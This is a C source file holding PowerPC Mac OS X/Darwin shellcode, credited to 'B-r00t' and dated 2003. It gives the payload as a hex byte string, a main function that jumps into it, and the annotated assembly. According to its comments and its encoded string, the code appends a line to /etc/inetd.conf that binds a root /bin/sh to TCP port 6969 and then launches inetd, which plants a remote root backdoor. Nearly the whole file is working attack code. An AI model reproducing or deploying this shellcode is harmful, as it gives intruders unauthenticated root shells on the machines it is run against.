/* PPC OS X / Darwin Shellcode by B-r00t. 2003. open(); write(); close(); execve(); exit(); See ASM below. 222 Bytes! */ char shellcode[] = "\x7c\xa5\x2a\x79\x40\x82\xff\xfd\x7d\x48\x02\xa6\x3b\xea\x01\x70" "\x39\x60\x01\x70\x39\x1f\xff\x1b\x7c\xa8\x29\xae\x39\x1f\xff\x65" "\x7c\xa8\x29\xae\x38\x7f\xff\x0c\x38\x8b\xfe\x99\x38\xa0\xff\xff" "\x38\x0b\xfe\x95\x44\xff\xff\x02\x60\x60\x60\x60\x38\x9f\xff\x1c" "\x38\xab\xfe\xca\x38\x0b\xfe\x94\x44\xff\xff\x02\x60\x60\x60\x60" "\x38\x0b\xfe\x96\x44\xff\xff\x02\x60\x60\x60\x60\x7c\xa5\x2a\x79" "\x38\x7f\xff\x56\x90\x61\xff\xf8\x90\xa1\xff\xfc\x38\x81\xff\xf8" "\x38\x0b\xfe\xcb\x44\xff\xff\x02\x60\x60\x60\x60\x38\x0b\xfe\x91" "\x44\xff\xff\x02\x2f\x65\x74\x63\x2f\x69\x6e\x65\x74\x64\x2e\x63" "\x6f\x6e\x66\x58\x0a\x61\x63\x6d\x73\x6f\x64\x61\x20\x73\x74\x72" "\x65\x61\x6d\x20\x74\x63\x70\x20\x6e\x6f\x77\x61\x69\x74\x20\x72" "\x6f\x6f\x74\x20\x2f\x75\x73\x72\x2f\x6c\x69\x62\x65\x78\x65\x63" "\x2f\x74\x63\x70\x64\x20\x2f\x62\x69\x6e\x2f\x73\x68\x0a\x2f\x75" "\x73\x72\x2f\x73\x62\x69\x6e\x2f\x69\x6e\x65\x74\x64\x58"; int main (void) { __asm__("b _shellcode"); } /* ; PPC OS X / Darwin Shellcode by B-r00t. ; open(); write(); close(); execve(); exit() ; Appends a backdoor (port 6969 rootshell) line into ; '/etc/inetd.conf' and executes '/usr/sbin/inetd'. ; Commands MUST end with ';' ie. uname -a; ; .globl _main .text _main: xor. r5, r5, r5 bnel _main mflr r10 addi r31, r10, 368 li r11, 368 addi r8, r31, -229 stbx r5, r8, r5 addi r8, r31, -155 stbx r5, r8, r5 addi r3, r31, -244 addi r4, r11, -359 li r5, -1 addi r0, r11, -363 .long 0x44ffff02 .long 0x60606060 addi r4, r31, -228 addi r5, r11, -310 addi r0, r11, -364 .long 0x44ffff02 .long 0x60606060 addi r0, r11, -362 .long 0x44ffff02 .long 0x60606060 xor. r5, r5, r5 addi r3, r31, -170 stw r3, -8(r1) stw r5, -4(r1) subi r4, r1, 8 addi r0, r11, -309 .long 0x44ffff02 .long 0x60606060 addi r0, r11, -367 .long 0x44ffff02 path: .asciz "/etc/inetd.confX\nacmsoda stream tcp nowait root /usr/libexec/tcpd /bin/sh\n/usr/sbin/inetdX" */